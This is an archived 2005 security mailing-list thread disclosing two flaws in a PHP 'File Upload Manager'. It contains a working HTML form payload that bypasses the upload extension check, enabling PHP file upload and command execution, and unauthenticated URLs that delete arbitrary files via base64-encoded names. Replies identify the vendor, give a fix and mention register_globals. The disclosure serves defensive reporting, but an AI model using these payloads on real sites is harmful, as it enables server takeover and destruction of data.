Re: File Upload Manager Sploits

Also, I think this hole only occurs when register_globals is ON. In
the latest version of PHP, this defaults to OFF.

I've alerted the developers to this bug.

> On 6/15/05, systemcracker@gmail.com <systemcracker@gmail.com> wrote:
> > after some digging on google, I've found that this refers to the "File
> > Upload Manager" at
> > http://www.mtnpeak.net/webdev/index.php?pg=3Dphp
> > rather than any number of other File Upload Managers. It's a common
> > name, please include a url or at least vendor name in future.
> >
> > On 12 Jun 2005 22:22:45 -0000, blackshoe@gmail.com <blackshoe@gmail.com=
> wrote:
> > > Below is some code for a recent unpatched exploit for file managers u=
sing php as the base code. Share this with the world and help protect.
> > >
> > > File Upload Manager - Bypass File Extension and Arbitrary File Delete
> > > nothing to see here @ hackthissite.org
> > >
> > > Through an input validation flaw, users are able to upload files that=
are not on the approve extension list. This can potentially allow users to=
upload .php files and gain permissions of the web server to execute comman=
ds and scripts.
> > >
> > > The code that checks for invalid file extensions makes use of an unin=
itialized variable which you can inject values into:
> > >
> > > for($i=3D0;$i<count($file_ext_allow);$i++)
> > > {
> > > if (getlast($fileupload_name)!=3D$file_ext_al=
low[$i])
> > > $test.=3D"~~";
> > > }
> > > $exp=3Dexplode("~~",$test);
> > >
> > > if (count($exp)=3D=3D(count($file_ext_allow)+1))
> > > { // (do not upload) } else { // (upload) }
> > >
> > > With each mismatch, they add '~~' to the variable 'test' and then com=
pare it to the count of the original valid file extensions array.
> > >
> > > Users can create an html form with an extra form variable 'test' with=
the value of '~~~~~~' which will allow you to bypass the extension validat=
ion:
> > >
> > > <form method=3D"post" enctype=3D"multipart/form-data" action=3D"http:=
//www.asdf.com/url/to/fileuploader/index.php">
> > > file: <input type=3D"file" name=3D"fileupload" class=3D"textfield" si=
ze=3D"30">
> > > exxploitz: <input type=3D"text" name=3D"test" class=3D"textfield" siz=
e=3D"46" value=3D"~~~~~~">
> > > <input type=3D"submit" value=3D"upload" class=3D"button">
> > > </form>
> > >
> > > Fix: Use php's in_array() function to check to see if an extension is=
in the valid list.
> > >
> > >
> > > In an unrelated flaw, users are able to delete arbitrary files on the=
webserver by not checking authentication before passing it to delete funct=
ions.
> > >
> > > url to view a file: /index.php?act=3Dview&file=3Dd2VlLnBocC50eHQ=3D
> > > url to delete the same file: /index.php?act=3Ddel&file=3Dd2VlLnBocC50=
eHQ=3D
> > >
> > > to choose what file to delete, just do base64_encode("filename");
> > >
> >
> >
> > --
> > Computing tools, PHP code, online tools and more at http://www.puremang=
o.co.uk
> >
>=20
>=20
> --
> Computing tools, PHP code, online tools and more at http://www.puremango.=
co.uk
>=20


--=20
Computing tools, PHP code, online tools and more at http://www.puremango.co=
..uk

after some digging on google, I've found that this refers to the "File
Upload Manager" at
http://www.mtnpeak.net/webdev/index.php?pg=3Dphp
rather than any number of other File Upload Managers. It's a common
name, please include a url or at least vendor name in future.

On 12 Jun 2005 22:22:45 -0000, blackshoe@gmail.com <blackshoe@gmail.com> wr=
ote:
> Below is some code for a recent unpatched exploit for file managers using=
php as the base code. Share this with the world and help protect.
>=20
> File Upload Manager - Bypass File Extension and Arbitrary File Delete
> nothing to see here @ hackthissite.org
>=20
> Through an input validation flaw, users are able to upload files that are=
not on the approve extension list. This can potentially allow users to upl=
oad .php files and gain permissions of the web server to execute commands a=
nd scripts.
>=20
> The code that checks for invalid file extensions makes use of an uninitia=
lized variable which you can inject values into:
>=20
> for($i=3D0;$i<count($file_ext_allow);$i++)
> {
> if (getlast($fileupload_name)!=3D$file_ext_allow[=
$i])
> $test.=3D"~~";
> }
> $exp=3Dexplode("~~",$test);
>=20
> if (count($exp)=3D=3D(count($file_ext_allow)+1))
> { // (do not upload) } else { // (upload) }
>=20
> With each mismatch, they add '~~' to the variable 'test' and then compare=
it to the count of the original valid file extensions array.
>=20
> Users can create an html form with an extra form variable 'test' with the=
value of '~~~~~~' which will allow you to bypass the extension validation:
>=20
> <form method=3D"post" enctype=3D"multipart/form-data" action=3D"http://ww=
w.asdf.com/url/to/fileuploader/index.php">
> file: <input type=3D"file" name=3D"fileupload" class=3D"textfield" size=
=3D"30">
> exxploitz: <input type=3D"text" name=3D"test" class=3D"textfield" size=3D=
"46" value=3D"~~~~~~">
> <input type=3D"submit" value=3D"upload" class=3D"button">
> </form>
>=20
> Fix: Use php's in_array() function to check to see if an extension is in =
the valid list.
>=20
>=20
> In an unrelated flaw, users are able to delete arbitrary files on the web=
server by not checking authentication before passing it to delete functions=
..
>=20
> url to view a file: /index.php?act=3Dview&file=3Dd2VlLnBocC50eHQ=3D
> url to delete the same file: /index.php?act=3Ddel&file=3Dd2VlLnBocC50eHQ=
=3D
>=20
> to choose what file to delete, just do base64_encode("filename");
>=20


--=20
Computing tools, PHP code, online tools and more at http://www.puremango.co=
..uk